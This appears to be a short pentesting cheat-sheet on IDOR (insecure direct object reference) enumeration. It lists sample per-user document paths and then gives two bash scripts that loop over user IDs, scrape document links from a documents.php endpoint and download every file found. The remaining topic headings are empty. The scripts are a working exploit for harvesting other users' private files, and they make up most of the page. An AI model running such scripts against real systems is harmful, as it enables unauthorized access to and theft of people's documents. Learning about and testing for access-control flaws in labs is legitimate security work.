IDOR
1) Enumeration
# UID=1
/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf
# UID=2
/documents/Invoice_2_08_2020.pdf
/documents/Report_2_12_2020.pdf# Script with regex to find the documents
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q $url/$link
done
done
# Alternative script option to find any extension
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..20}; do
for link in $(curl -s -X POST -d "uid=$i" "$url/documents.php" | grep -oP "\/documents.*?\\.\\w+"); do
curl -O $url/$link
done
done2) AJAX Calls
3) Hashing and Encoding
4) Compare User Roles
5) Insecure APIs
Last updated